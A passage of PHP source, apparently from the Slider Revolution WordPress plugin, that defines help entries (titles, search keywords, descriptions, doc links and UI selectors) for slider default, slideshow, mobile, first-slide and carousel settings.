									$dp => array(array($p => 'settings.sourcetype', $v => 'vimeo', $o => 'slider_sourcetype_vimeo')), 
									$m => "#module_settings_trigger, #gst_sl_4", 
									$st => '#form_slider_content_vimeo', 
									$f => "#sr_src_vimeo_userName, #sr_src_vimeo_albumId, #sr_src_vimeo_groupName, #sr_src_vimeo_channelName"
								)
							)
						)
					),
					'gst_sl_5' => array(
						'slider_id' => array(
							$t => __("Slider ID", 'revsliderhelp'),
							$h => "id",
							$k => array("slider id", "id", "default", "defaults"),
							$d => __("Add an optional ID for the Slider.  Will be applied to the Slider's outer HTML wrapper element", 'revsliderhelp'),
							$a => $u . "module-defaults/",
							$hl => array($m => "#module_settings_trigger, #gst_sl_5", $st => '#form_slidergeneral_defaults', $f => "#sr_sliderid")
						),
						'slider_classes' => array(
							$t => __("Slider Classes", 'revsliderhelp'),
							$h => "class",
							$k => array("slider class", "class", "classes", "slider classes"),
							$d => __("Add an optional ID for the Slider.  Will be applied to the Slider's outer HTML wrapper element", 'revsliderhelp'),
							$a => $u . "module-defaults/",
							$hl => array($m => "#module_settings_trigger, #gst_sl_5", $st => '#form_slidergeneral_defaults', $f => "#sr_sliderclass")
						),
						'wrapper_classes' => array(
							$t => __("Wrapper Classes", 'revsliderhelp'),
							$h => "wrapperclass",
							$k => array("wrapper class", "class", "classes", "wrapper classes"),
							$d => __("Add an optional ID for the Slider.  Will be applied to the Slider's outer HTML wrapper element", 'revsliderhelp'),
							$a => $u . "module-defaults/",
							$hl => array($m => "#module_settings_trigger, #gst_sl_5", $st => '#form_slidergeneral_defaults', $f => "#sr_wrapperclass")
						),
						'slide_duration' => array(
							$t => __("Slide Duration", 'revsliderhelp'),
							$h => "def.delay",
							$k => array("slide duration", "duration", "time", "timeline", "default", "defaults"),
							$d => __("The default duration to apply for each Slide before they change", 'revsliderhelp'),
							$a => $u . "module-defaults/",
							$hl => array($m => "#module_settings_trigger, #gst_sl_5", $st => '#form_slidergeneral_defaults', $f => "#sr_def_delay")
						),
						'init_delay' => array(
							$t => __("Initialization Delay", 'revsliderhelp'),
							$h => "general.slideshow.initDelay",
							$k => array("init", "initialization", "delay", "initialization delay", "default", "defaults"),
							$d => __("Add an optional delay before the Slider officially loads", 'revsliderhelp'),
							$a => $u . "module-defaults/",
							$hl => array($m => "#module_settings_trigger, #gst_sl_5", $st => '#form_slidergeneral_defaults', $f => "#sr_sshow_initdelay")
						),
						'layers_selectable' => array(
							$t => __("Layers Selectable", 'revsliderhelp'),
							$h => "general.layerSelection",
							$k => array("layers", "layers selectable", "selectable", "default", "defaults"),
							$d => __("Choose if Layers should be user-selectable by default", 'revsliderhelp'),
							$a => $u . "module-defaults/",
							$hl => array($m => "#module_settings_trigger, #gst_sl_5", $st => '#form_slidergeneral_defaults', $f => "#sr_layersselectable")
						),
						'transition' => array(
							$t => __("Transition", 'revsliderhelp'),
							$h => "def.transition",
							$k => array("default transition", "transition", "default", "defaults"),
							$d => __("The default transition to be applied to newly created Slides", 'revsliderhelp'),
							$a => $u . "module-defaults/",
							$hl => array($m => "#module_settings_trigger, #gst_sl_5", $st => '#form_slidergeneral_defaults_animation', $f => "#sr_def_slide_transition")
						),
						'duration' => array(
							$t => __("Transition Duration", 'revsliderhelp'),
							$h => "def.transitionDuration",
							$k => array("default duration", "duration", "default", "defaults"),
							$d => __("The default transition duration to be applied to newly created Slides", 'revsliderhelp'),
							$a => $u . "module-defaults/",
							$hl => array($m => "#module_settings_trigger, #gst_sl_5", $st => '#form_slidergeneral_defaults_animation', $f => "#sr_def_tduration")
						),
						'image_settings' => array(
							'image_size' => array(
								$t => __("Default Image Size", 'revsliderhelp'),
								$h => "def.background.imageSourceType",
								$k => array("image size", "image source", "default", "defaults"),
								$d => __("The default WordPress Image size to be used for the Slide's main  background images", 'revsliderhelp'),
								$a => $u . "module-defaults/",
								$hl => array($m => "#module_settings_trigger, #gst_sl_5", $st => '#form_slidergeneral_defaults_imagesettings', $f => "#sr_def_image_source_type")
							),
							'position' => array(
								$t => __("Default BG Position", 'revsliderhelp'),
								$h => "def.background.position",
								$k => array("image", "images", "background", "bg", "bg image", "background position", "default", "defaults"),
								$d => __("The default CSS background-position for the Slide's main background image", 'revsliderhelp'),
								$a => $u . "module-defaults/",
								$hl => array($m => "#module_settings_trigger, #gst_sl_5", $st => '#form_slidergeneral_defaults_imagesettings', $f => "#slider_def_img__bg_position_center-center")
							),
							'fit' => array(
								$t => __("Default Image Fit", 'revsliderhelp'),
								$h => "def.background.fit",
								$k => array("background size", "fit", "image fit", "cover", "contain", "default", "defaults"),
								$d => __("The default css background-size value for the Slide's main background image", 'revsliderhelp'),
								$a => $u . "module-defaults/",
								$hl => array($m => "#module_settings_trigger, #gst_sl_5", $st => '#form_slidergeneral_defaults_imagesettings', $f => "#sr_defbgimage_fit")
							),
							'repeat' => array(
								$t => __("Default BG Repeat", 'revsliderhelp'),
								$h => "def.background.repeat",
								$k => array("background repeat", "repeat", "default", "defaults"),
								$d => __("The default css background-repeat value for the Slide's main background image", 'revsliderhelp'),
								$a => $u . "module-defaults/",
								$hl => array($m => "#module_settings_trigger, #gst_sl_5", $st => '#form_slidergeneral_defaults_imagesettings', $f => "#sr_defbgimage_repeat")
							)
						),
						'layer_defaults' => array(
							'intelligent_inheriting' => array(
								$t => __("Intelligent Inheriting", 'revsliderhelp'),
								$h => "def.intelligentInherit",
								$k => array("responsive", "intelligent inheriting", "responsive behavior"),
								$d => __("Automatically resize/reposition new Layers for each device viewport inside the editor", 'revsliderhelp'),
								$a => $u . "module-defaults/",
								$hl => array($m => "#module_settings_trigger, #gst_sl_5", $st => '#form_slidergeneral_layersettings', $f => "#sr_layer_intelligentinherit")
							),
							'responsive_between_device' => array(
								$t => __("Responsive Between Devices", 'revsliderhelp'),
								$h => "def.autoResponsive",
								$k => array("responsive", "resize", "resize layers", "resize layer", "layer resizing", "layer sizing", "responsive sizes", "responsive sizing"),
								$d => __("Automatically resize Layers for each responsive device viewport", 'revsliderhelp'),
								$a => $u . "module-defaults/",
								$hl => array($m => "#module_settings_trigger, #gst_sl_5", $st => '#form_slidergeneral_layersettings', $f => "#sr_layer_autoResponsive")
							),
							'responsive_offset' => array(
								$t => __("Responsive Offsets", 'revsliderhelp'),
								$h => "def.responsiveOffset",
								$k => array("responsive", "responsive offset", "responsive offsets"),
								$d => __("Automatically adjust the positioning for Layers for each responsive device viewport", 'revsliderhelp'),
								$a => $u . "module-defaults/",
								$hl => array($m => "#module_settings_trigger, #gst_sl_5", $st => '#form_slidergeneral_layersettings', $f => "#sr_layer_responsiveOffset")
							),
							'responsive_children' => array(
								$t => __("Responsive Children", 'revsliderhelp'),
								$h => "def.responsiveChilds",
								$k => array("responsive", "responsive children"),
								$d => __("Choose to resize the Layer's inner HTML elements if the Layer includes custom HTML", 'revsliderhelp'),
								$a => $u . "module-defaults/",
								$hl => array($m => "#module_settings_trigger, #gst_sl_5", $st => '#form_slidergeneral_layersettings', $f => "#sr_layer_responsiveChilds")
							)
						),
						'pan_zoom' => array(
							'enable' => array(
								$di => "slider_defaults_panzoom",
								$t => __("Enable PanZoom", 'revsliderhelp'),
								$h => "def.panZoom.set",
								$k => array("panzoom", "pan zoom"),
								$d => __("Enable the PanZoom effect by default for newly created Slides", 'revsliderhelp'),
								$a => $u . "module-defaults/",
								$hl => array($m => "#module_settings_trigger, #gst_sl_5", $st => '#form_slidergeneral_defaults_kbsettings', $f => "#sr_def_panzoom")
							),
							'easing' => array(
								$t => __("Easing", 'revsliderhelp'),
								$h => "def.panZoom.ease",
								$k => array("panzoom", "pan zoom", "easing", "pan zoom easing", "panzoom easing"),
								$d => __("The default easing equation.  <a href='https://greensock.com/ease-visualizer' target=_'blank'>View visualization</a>", 'revsliderhelp'),
								$a => $u . "module-defaults/",
								$hl => array(
									$dp => array(array($p => 'settings.def.panZoom.set', $v => true, $o => 'slider_defaults_panzoom')), 
									$m => "#module_settings_trigger, #gst_sl_5", $st => '#form_slidergeneral_defaults_kbsettings', $f => "#def_pz_ease"
								)
							),
							'duration' => array(
								$t => __("Duration", 'revsliderhelp'),
								$h => "def.panZoom.duration",
								$k => array("panzoom", "pan zoom", "duration", "pan zoom duration", "panzoom duration"),
								$d => __("The default easing duration in milliseconds", 'revsliderhelp'),
								$a => $u . "module-defaults/",
								$hl => array(
									$dp => array(array($p => 'settings.def.panZoom.set', $v => true, $o => 'slider_defaults_panzoom')), 
									$m => "#module_settings_trigger, #gst_sl_5", $st => '#form_slidergeneral_defaults_kbsettings', $f => "#sr_def_pz_pzdur"
								)
							),
							'zoom' => array(
								'fit_start' => array(
									$t => __("Zoom Start Percentage", 'revsliderhelp'),
									$h => "def.panZoom.fitStart",
									$k => array("panzoom", "pan zoom", "zoom", "pan zoom zoom", "panzoom zoom"),
									$d => __("The default starting zoom percentage", 'revsliderhelp'),
									$a => $u . "module-defaults/",
									$hl => array(
										$dp => array(array($p => 'settings.def.panZoom.set', $v => true, $o => 'slider_defaults_panzoom')), 
										$m => "#module_settings_trigger, #gst_sl_5", $st => '#form_slidergeneral_defaults_kbsettings', $f => "#sr_def_pz_sfit"
									)
								),
								'fit_end' => array(
									$t => __("Zoom End Percentage", 'revsliderhelp'),
									$h => "def.panZoom.fitEnd",
									$k => array("panzoom", "pan zoom", "zoom", "pan zoom zoom", "panzoom zoom"),
									$d => __("The default ending zoom percentage", 'revsliderhelp'),
									$a => $u . "module-defaults/",
									$hl => array(
										$dp => array(array($p => 'settings.def.panZoom.set', $v => true, $o => 'slider_defaults_panzoom')), 
										$m => "#module_settings_trigger, #gst_sl_5", $st => '#form_slidergeneral_defaults_kbsettings', $f => "#sr_def_pz_efit"
									)
								)
							),
							'movement' => array(
								'x_start' => array(
									$t => __("Start Position X", 'revsliderhelp'),
									$h => "def.panZoom.xStart",
									$k => array("panzoom", "pan zoom", "position", "pan zoom position", "panzoom position"),
									$d => __("The default starting x position for the PanZoom movement", 'revsliderhelp'),
									$a => $u . "module-defaults/",
									$hl => array(
										$dp => array(array($p => 'settings.def.panZoom.set', $v => true, $o => 'slider_defaults_panzoom')), 
										$m => "#module_settings_trigger, #gst_sl_5", $st => '#form_slidergeneral_defaults_kbsettings', $f => "#sr_def_pz_sox"
									)
								),
								'x_end' => array(
									$t => __("End Position X", 'revsliderhelp'),
									$h => "def.panZoom.xEnd",
									$k => array("panzoom", "pan zoom", "position", "pan zoom position", "panzoom position"),
									$d => __("The default end x position for the PanZoom movement", 'revsliderhelp'),
									$a => $u . "module-defaults/",
									$hl => array(
										$dp => array(array($p => 'settings.def.panZoom.set', $v => true, $o => 'slider_defaults_panzoom')), 
										$m => "#module_settings_trigger, #gst_sl_5", $st => '#form_slidergeneral_defaults_kbsettings', $f => "#sr_def_pz_eox"
									)
								),
								'y_start' => array(
									$t => __("Start Position Y", 'revsliderhelp'),
									$h => "def.panZoom.yStart",
									$k => array("panzoom", "pan zoom", "position", "pan zoom position", "panzoom position"),
									$d => __("The default starting y position for the PanZoom movement", 'revsliderhelp'),
									$a => $u . "module-defaults/",
									$hl => array(
										$dp => array(array($p => 'settings.def.panZoom.set', $v => true, $o => 'slider_defaults_panzoom')), 
										$m => "#module_settings_trigger, #gst_sl_5", $st => '#form_slidergeneral_defaults_kbsettings', $f => "#sr_def_pz_soy"
									)
								),
								'y_end' => array(
									$t => __("End Position Y", 'revsliderhelp'),
									$h => "def.panZoom.yEnd",
									$k => array("panzoom", "pan zoom", "position", "pan zoom position", "panzoom position"),
									$d => __("The default ending y position for the PanZoom movement", 'revsliderhelp'),
									$a => $u . "module-defaults/",
									$hl => array(
										$dp => array(array($p => 'settings.def.panZoom.set', $v => true, $o => 'slider_defaults_panzoom')), 
										$m => "#module_settings_trigger, #gst_sl_5", $st => '#form_slidergeneral_defaults_kbsettings', $f => "#sr_def_pz_eoy"
									)
								)
							),
							'rotation_blur' => array(
								'rotate_start' => array(
									$t => __("Rotate Start", 'revsliderhelp'),
									$h => "def.panZoom.rotateStart",
									$k => array("panzoom", "pan zoom", "rotate", "pan zoom rotate", "panzoom rotate", "rotation", "pan zoom rotation"),
									$d => __("The default starting rotation for the PanZoom effect (deg)", 'revsliderhelp'),
									$a => $u . "module-defaults/",
									$hl => array(
										$dp => array(array($p => 'settings.def.panZoom.set', $v => true, $o => 'slider_defaults_panzoom')), 
										$m => "#module_settings_trigger, #gst_sl_5", $st => '#form_slidergeneral_defaults_kbsettings', $f => "#sr_def_pz_sro"
									)
								),
								'rotate_end' => array(
									$t => __("Rotate End", 'revsliderhelp'),
									$h => "def.panZoom.rotateEnd",
									$k => array("panzoom", "pan zoom", "rotate", "pan zoom rotate", "panzoom rotate", "rotation", "pan zoom rotation"),
									$d => __("The default ending rotation for the PanZoom effect (deg)", 'revsliderhelp'),
									$a => $u . "module-defaults/",
									$hl => array(
										$dp => array(array($p => 'settings.def.panZoom.set', $v => true, $o => 'slider_defaults_panzoom')), 
										$m => "#module_settings_trigger, #gst_sl_5", $st => '#form_slidergeneral_defaults_kbsettings', $f => "#sr_def_pz_ero"
									)
								),
								'blur_start' => array(
									$t => __("Blur Start", 'revsliderhelp'),
									$h => "def.panZoom.blurStart",
									$k => array("panzoom", "pan zoom", "rotate", "pan zoom blur", "panzoom blur", "blur", "image blur"),
									$d => __("The default starting image blur for the PanZoom effect (px)", 'revsliderhelp'),
									$a => $u . "module-defaults/",
									$hl => array(
										$dp => array(array($p => 'settings.def.panZoom.set', $v => true, $o => 'slider_defaults_panzoom')), 
										$m => "#module_settings_trigger, #gst_sl_5", $st => '#form_slidergeneral_defaults_kbsettings', $f => "#sr_def_pz_sblur"
									)
								),
								'blur_end' => array(
									$t => __("Blur End", 'revsliderhelp'),
									$h => "def.panZoom.blurEnd",
									$k => array("panzoom", "pan zoom", "rotate", "pan zoom blur", "panzoom blur", "blur", "image blur"),
									$d => __("The default ending image blur for the PanZoom effect (px)", 'revsliderhelp'),
									$a => $u . "module-defaults/",
									$hl => array(
										$dp => array(array($p => 'settings.def.panZoom.set', $v => true, $o => 'slider_defaults_panzoom')), 
										$m => "#module_settings_trigger, #gst_sl_5", $st => '#form_slidergeneral_defaults_kbsettings', $f => "#sr_def_pz_eblur"
									)
								)
							)
						)
					),
					'gst_sl_6' => array(
						'viewport_stop' => array(
							'enable' => array(
								$di => "slider_general_slideshow_viewport",
								$t => __("Enable Viewport Stop", 'revsliderhelp'),
								$h => "general.slideshow.viewPort",
								$k => array("viewport", "slider viewport", "stop", "viewport stop"),
								$d => __("Only initialize the Slider when the Slider is inside the page's view", 'revsliderhelp'),
								$a => $u . "module-general-settings/",
								$hl => array($m => "#module_settings_trigger, #gst_sl_6", $st => '#form_slidergeneral_general_viewport', $f => "#sr_viewport")
							),
							'wait_pause' => array(
								$t => __("Wait/Pause", 'revsliderhelp'),
								$h => "general.slideshow.viewPortStart",
								$k => array("viewport", "slider viewport", "wait", "pause", "viewport wait", "viewport pause"),
								$d => __("'wait' to initialize the Slider when its inside the viewport, or 'pause' the Slider's progress until its inside the viewport", 'revsliderhelp'),
								$a => $u . "module-general-settings/",
								$hl => array(
									$dp => array(array($p => 'settings.general.slideshow.viewPort', $v => true, $o => 'slider_general_slideshow_viewport')), 
									$m => "#module_settings_trigger, #gst_sl_6", 
									$st => '#form_slidergeneral_general_viewport', 
									$f => "#sr_sshow_outviewport"
								)
							),
							'viewport_area' => array(
								$t => __("Area %", 'revsliderhelp'),
								$h => "general.slideshow.viewPortArea.#size#.v",
								$k => array("viewport", "slider viewport", "wait", "pause", "viewport wait", "viewport pause", "area", "viewport area"),
								$d => __("Initialize/Pause the Slider when its inside this percentage of the page's viewport", 'revsliderhelp'),
								$a => $u . "module-general-settings/",
								$hl => array(
									$dp => array(array($p => 'settings.general.slideshow.viewPort', $v => true, $o => 'slider_general_slideshow_viewport')), 
									$m => "#module_settings_trigger, #gst_sl_6", 
									$st => '#form_slidergeneral_general_viewport', 
									$f => "#sr_viewport_area"
								)
							),
							'preset_slider_height' => array(
								$t => __("Preset Slider Height", 'revsliderhelp'),
								$h => "general.slideshow.presetSliderHeight",
								$k => array("slider space", "preset slider height", "viewport"),
								$d => __("Allocate space on the page for the Slider to prevent page content jumps when the Slider loads", 'revsliderhelp'),
								$a => $u . "module-general-settings/",
								$hl => array(
									$dp => array(array($p => 'settings.general.slideshow.viewPort', $v => true, $o => 'slider_general_slideshow_viewport')), 
									$m => "#module_settings_trigger, #gst_sl_6", 
									$st => '#form_slidergeneral_general_viewport', 
									$f => "#sr_viewportpresetheight"
								)
							)
						),
						'slideshow' => array(
							'auto_rotate' => array(
								$di => 'slideshow_auto_rotate',
								$t => __("Auto Rotate Slideshow", 'revsliderhelp'),
								$h => "general.slideshow.slideShow",
								$k => array("stop", "pause", "stop slider", "pause slider", "progress"),
								$d => __("Enable autoplay for the Slider to automatically change between slides", 'revsliderhelp'),
								$a => $u . "module-general-settings/",
								$hl => array($m => "#module_settings_trigger, #gst_sl_6", $st => '#form_slidergeneral_general', $f => "#sr_slideshowonoff")
							),
							'stop_on_hover' => array(
								$t => __("Stop on Hover", 'revsliderhelp'),
								$h => "general.slideshow.stopOnHover",
								$k => array("hover", "autoplay", "slider progress", "stop on", "stop on hover", "stop slider", "pause", "pause slider", "pause slideshow"),
								$d => __("Pause the Slider's progress when the user hover's their mouse over it", 'revsliderhelp'),
								$a => $u . "module-general-settings/",
								$hl => array(
									$dp => array(array($p => 'settings.general.slideshow.slideShow', $v => true, $o => 'slideshow_auto_rotate')), 
									$m => "#module_settings_trigger, #gst_sl_6", 
									$st => '#form_slidergeneral_general', 
									$f => "#sr_ssonhover"
								)
							),
							'loop_single' => array(
								$t => __("Loop Single Slide", 'revsliderhelp'),
								$h => "general.slideshow.loopSingle",
								$k => array("loop", "loop slide", "single", "single slide", "loop single slide"),
								$d => __("Continuously loop a Slide's animations when the Slider contains only one slide", 'revsliderhelp'),
								$a => $u . "module-general-settings/",
								$hl => array(
									$dp => array(array($p => 'settings.general.slideshow.slideShow', $v => true, $o => 'slideshow_auto_rotate')), 
									$m => "#module_settings_trigger, #gst_sl_6", 
									$st => '#form_slidergeneral_general', 
									$f => "#sr_loopsingle"
								)
							),
							'stop_slider' => array(
								$di => "slider_general_slideshow_stopslider",
								$t => __("Stop Slider Progress", 'revsliderhelp'),
								$h => "general.slideshow.stopSlider",
								$k => array("stop", "pause", "stop slider", "pause at", "pause at slide", "autoplay", "auto play"),
								$d => __("Chose when the Slider's progress should stop/pause", 'revsliderhelp'),
								$a => $u . "module-general-settings/",
								$hl => array(
									$dp => array(array($p => 'settings.general.slideshow.slideShow', $v => true, $o => 'slideshow_auto_rotate')), 
									$m => "#module_settings_trigger, #gst_sl_6", 
									$st => '#form_slidergeneral_general', 
									$f => "#sr_disendloop"
								)
							),
							'stop_after_loops' => array(
								$t => __("Stop After Loops", 'revsliderhelp'),
								$h => "general.slideshow.stopAfterLoops",
								$k => array("stop", "pause", "stop slider", "pause at", "pause at slide", "autoplay", "auto play", "loop", "looping", "slider loop"),
								$d => __("Stop the slider's progress after a set amount of loops", 'revsliderhelp'),
								$a => $u . "module-general-settings/",
								$hl => array(
									$dp => array(array($p => 'settings.general.slideshow.slideShow', $v => true, $o => 'slideshow_auto_rotate')), 
									$m => "#module_settings_trigger, #gst_sl_6", 
									$st => '#form_slidergeneral_general', 
									$f => "#sr_sshw_amountloops"
								)
							),
							'stop_at_slide' => array(
								$t => __("Stop at Slide", 'revsliderhelp'),
								$h => "general.slideshow.stopAtSlide",
								$k => array("stop", "pause", "stop slider", "pause at", "pause at slide", "autoplay", "auto play", "loop", "looping", "slider loop", "stop at", "stop after"),
								$d => __("Stop the slider's progress when a certain Slide is viewed", 'revsliderhelp'),
								$a => $u . "module-general-settings/",
								$hl => array(
									$dp => array(array($p => 'settings.general.slideshow.slideShow', $v => true, $o => 'slideshow_auto_rotate')), 
									$m => "#module_settings_trigger, #gst_sl_6", 
									$st => '#form_slidergeneral_general', 
									$f => "#sr_sshw_atSlide"
								)
							),
							'random_order' => array(
								$t => __("Random Order", 'revsliderhelp'),
								$h => "general.slideshow.shuffle",
								$k => array("slide order", "shuffle", "shuffle slides", "random", "randomize", "random slide order", "randomize slides", "randomize slide order"),
								$d => __("Randomize the Slide order each time the Slider is viewed", 'revsliderhelp'),
								$a => $u . "module-general-settings/",
								$hl => array(
									$dp => array(array($p => 'settings.general.slideshow.slideShow', $v => true, $o => 'slideshow_auto_rotate')),
									$m => "#module_settings_trigger, #gst_sl_6", 
									$st => '#form_slidergeneral_general', 
									$f => "#sr_randomslideshow"
								)
							),
							'wait_for_api' => array(
								$t => __("Wait for API", 'revsliderhelp'),
								$h => "general.slideshow.waitForInit",
								$k => array("api", "wait for", "wait for api", "initialization"),
								$d => __("Only start the Slider when the JavaScript API's 'revstart()' method is called", 'revsliderhelp'),
								$a => $u . "module-general-settings/",
								$hl => array($m => "#module_settings_trigger, #gst_sl_6", $st => '#form_slidergeneral_slideshow', $f => "#sr_waitrevapi")
							)
						),
						'mobile_options' => array(
							'disable_slider' => array(
								$t => __("Disable Slider on Mobile", 'revsliderhelp'),
								$h => "general.disableOnMobile",
								$k => array("disable slider", "hide on mobile", "mobile"),
								$d => __("When the Slider is disabled on mobile it will only be loaded on desktop-based devices", 'revsliderhelp'),
								$a => $u . "module-general-settings/",
								$hl => array($m => "#module_settings_trigger, #gst_sl_6", $st => '#form_slidergeneral_general_disable_mobile', $f => "#sr_gen_disonmob")
							),
							'disable_panzoom' => array(
								$t => __("Disable PanZoom on Mobile", 'revsliderhelp'),
								$h => "general.disablePanZoomMobile",
								$k => array("disable", "disable panzoom", "disable pan zoom", "panzoom", "pan zoom"),
								$d => __("Disable the PanZoom effect for mobile devices", 'revsliderhelp'),
								$a => $u . "module-general-settings/",
								$hl => array($m => "#module_settings_trigger, #gst_sl_6", $st => '#form_slidergeneral_general_disable_mobile', $f => "#sr_gen_disablePanZoomMobile")
							)
						),
						'hide_content_under_width' => array(
							'hide_slider_under' => array(
								$t => __("Hide Slider Under Width", 'revsliderhelp'),
								$h => "visibility.hideSliderUnderLimit",
								$k => array("hide slider", "hide under width", "hide slider under width"),
								$d => __("Hide the Slider under a certain window width", 'revsliderhelp'),
								$a => $u . "module-general-settings/",
								$hl => array($m => "#module_settings_trigger, #gst_sl_6", $st => '#form_slidergeneral_general_under_browser_width', $f => "#sr_vis_hideSliderUnderLimit")
							),
							'hide_marked_under' => array(
								$t => __("Hide Marked Layers", 'revsliderhelp'),
								$h => "visibility.hideSelectedLayersUnderLimit",
								$k => array("hide layer", "hide layers", "hide under width", "hide layer under width", "marked", "marked layers"),
								$d => __("Individual Layers that are selected to be hidden under a width will be hidden under this number", 'revsliderhelp'),
								$a => $u . "module-general-settings/",
								$hl => array($m => "#module_settings_trigger, #gst_sl_6", $st => '#form_slidergeneral_general_under_browser_width', $f => "#sr_vis_hideSelectedLayersUnderLimit")
							),
							'hide_all_layers' => array(
								$t => __("Hide All Layers Under", 'revsliderhelp'),
								$h => "visibility.hideAllLayersUnderLimit",
								$k => array("hide layer", "hide layers", "hide under width", "hide layer under width", "all layers"),
								$d => __("Hide all Layers under when the window is below this number", 'revsliderhelp'),
								$a => $u . "module-general-settings/",
								$hl => array($m => "#module_settings_trigger, #gst_sl_6", $st => '#form_slidergeneral_general_under_browser_width', $f => "#sr_vis_hideAllLayersUnderLimit")
							)
						),
						'first_slide_options' => array(
							'alternate_slide' => array(
								$di => "slider_firstslide_alternativefirstslide",
								$t => __("Alternate First Slide", 'revsliderhelp'),
								$h => "general.firstSlide.alternativeFirstSlideSet",
								$k => array("first slide", "alternate", "alternate slide"),
								$d => __("Show a specific Slide first when the Slider first loads", 'revsliderhelp'),
								$a => $u . "module-general-settings/",
								$hl => array($m => "#module_settings_trigger, #gst_sl_6", $st => '#form_slidergeneral_general_first_slide', $f => "#sr_gen_alternativeFirstSlideSet")
							),
							'alternate_slide_number' => array(
								$t => __("Slide to Show First", 'revsliderhelp'),
								$h => "general.firstSlide.alternativeFirstSlide",
								$k => array("first slide", "alternate", "alternate slide"),
								$d => __("Show slide number 'x' first when the Slider first loads", 'revsliderhelp'),
								$a => $u . "module-general-settings/",
								$hl => array(
									$dp => array(array($p => 'settings.general.firstSlide.alternativeFirstSlideSet', $v => true, $o => 'slider_firstslide_alternativefirstslide')), 
									$m => "#module_settings_trigger, #gst_sl_6", 
									$st => '#form_slidergeneral_general_first_slide', 
									$f => "#sr_gen_firstSlide_alternativeFirstSlide"
								)
							),
							'first_slide_transition' => array(
								$di => "slider_general_firstslidetransition",
								$t => __("First Slide Animation", 'revsliderhelp'),
								$h => "general.firstSlide.set",
								$k => array("first slide", "first slide animation", "alternate animation"),
								$d => __("Use an alternate transition when for the first slide when the Slider firsts loads", 'revsliderhelp'),
								$a => $u . "module-general-settings/",
								$hl => array($m => "#module_settings_trigger, #gst_sl_6", $st => '#form_slidergeneral_general_first_slide', $f => "#sr_gen_fs")
							),
							'first_slide_transition_type' => array(
								$t => __("First Slide Transition Type", 'revsliderhelp'),
								$h => "general.firstSlide.type",
								$k => array("first slide", "first slide animation", "alternate animation", "transition", "first slide transition"),
								$d => __("Choose an alternate transition for the first Slide", 'revsliderhelp'),
								$a => $u . "module-general-settings/",
								$hl => array(
									$dp => array(array($p => 'settings.general.firstSlide.set', $v => true, $o => 'slider_general_firstslidetransition')), 
									$m => "#module_settings_trigger, #gst_sl_6", 
									$st => '#form_slidergeneral_general_first_slide', 
									$f => "#sr_gen_fs_transition"
								)
							),
							'first_slide_duration' => array(
								$t => __("First Slide Transition Duration", 'revsliderhelp'),
								$h => "general.firstSlide.duration",
								$k => array("first slide", "first slide duration", "alternate animation", "transition duration", "first slide transition duration"),
								$d => __("The duration to be used for the alternate first Slide transition", 'revsliderhelp'),
								$a => $u . "module-general-settings/",
								$hl => array(
									$dp => array(array($p => 'settings.general.firstSlide.set', $v => true, $o => 'slider_general_firstslidetransition')), 
									$m => "#module_settings_trigger, #gst_sl_6", 
									$st => '#form_slidergeneral_general_first_slide', 
									$f => "#sr_gen_fsduration"
								)
							),
							'slot_amount' => array(
								$t => __("Slot Amount", 'revsliderhelp'),
								$h => "general.firstSlide.slotAmount",
								$k => array("slots", "slot amount", "transition slots"),
								$d => __("The amount of slots to be used for the alternate first Slide transition.  Applicable to slot-based transitions.", 'revsliderhelp'),
								$a => $u . "module-general-settings/",
								$hl => array(
									$dp => array(array($p => 'settings.general.firstSlide.set', $v => true, $o => 'slider_general_firstslidetransition')), 
									$m => "#module_settings_trigger, #gst_sl_6", 
									$st => '#form_slidergeneral_general_first_slide', 
									$f => "#sr_gen_fsslotamount"
								)
							)
						),
						'browser_behavior' => array(
							'next_slide_on_focus' => array(
								$t => __("Next Slide on Focus", 'revsliderhelp'),
								$h => "general.nextSlideOnFocus",
								$k => array("next on focus", "tab focus", "tab blur", "next slide on focus"),
								$d => __("Change slides when the user navigates to a new window or tab and then returns to the page", 'revsliderhelp'),
								$a => $u . "module-general-settings/",
								$hl => array($m => "#module_settings_trigger, #gst_sl_6", $st => '#form_slidergeneral_misc', $f => "#sr_gen_nextSlideOnFocus")
							),
							'disable_blur_focus' => array(
								$t => __("Disable Blur/Focus behavior", 'revsliderhelp'),
								$h => "general.disableFocusListener",
								$k => array("blur", "focus", "disable blur"),
								$d => __("Disable Slider resizing when the user navigates away from the tab/window and returns to the page", 'revsliderhelp'),
								$a => $u . "module-general-settings/",
								$hl => array($m => "#module_settings_trigger, #gst_sl_6", $st => '#form_slidergeneral_misc', $f => "#sr_gen_disableFocusListener")
							)
						)
					),
					'gst_sl_3' => array(
						'layout' => array(
							'infinity_scroll' => array(
								$t => __("Infinity Scroll", 'revsliderhelp'),
								$h => "carousel.infinity",
								$k => array("carousel", "infinity", "scroll", "infinity scroll"),
								$d => __("Slides will continuously appear from either side when the Slides change", 'revsliderhelp'),
								$a => $u . "carousel-settings/",
								$hl => array(
									$dp => array(array($p => 'settings.type', $v => 'carousel', $o => 'slider_layout_type_carousel')), 
									$m => "#module_settings_trigger, #gst_sl_3", 
									$st => '#form_slidergeneral_caroussel', 
									$f => "#sr_ca_inf"
								)
							),
							'layers_visible' => array(
								$t => __("Layers Visible", 'revsliderhelp'),
								$h => "carousel.showAllLayers",
								$k => array("carousel", "layers visible", "show layers"),
								$d => __("Layers from Slides that are visible in the carousel will always be visible by default (Layer animations will be disabled)", 'revsliderhelp'),
								$a => $u . "carousel-settings/",
								$hl => array(
									$dp => array(array($p => 'settings.type', $v => 'carousel', $o => 'slider_layout_type_carousel')), 
									$m => "#module_settings_trigger, #gst_sl_3", 
									$st => '#form_slidergeneral_caroussel', 
									$f => "#sr_ca_showAllLayers"
								)
							),
							'max_items' => array(
								$t => __("Max Visible Slides", 'revsliderhelp'),
								$h => "carousel.maxItems",
								$k => array("carousel", "max visible", "max visible slides"),
								$d => __("The maximum number of Slides that will be visible at any given time.  View the documentation below to learn how to set a minimum.", 'revsliderhelp'),
								$a => $u . "carousel-settings/",
								$hl => array(
									$dp => array(array($p => 'settings.type', $v => 'carousel', $o => 'slider_layout_type_carousel')), 
									$m => "#module_settings_trigger, #gst_sl_3", 
									$st => '#form_slidergeneral_caroussel', 
									$f => "#sr_ca_mitems"
								)
							),
							'stretch_slides' => array(
								$t => __("Stretch Slides", 'revsliderhelp'),
								$h => "carousel.stretch",
								$k => array("carousel", "stretch", "stretch slides", "full width", "full width slides"),
								$d => __("Slides will always appear as full width, resulting in one Slide being visible at a time", 'revsliderhelp'),
								$a => $u . "carousel-settings/",
								$hl => array(
									$dp => array(array($p => 'settings.type', $v => 'carousel', $o => 'slider_layout_type_carousel')), 
									$m => "#module_settings_trigger, #gst_sl_3", 
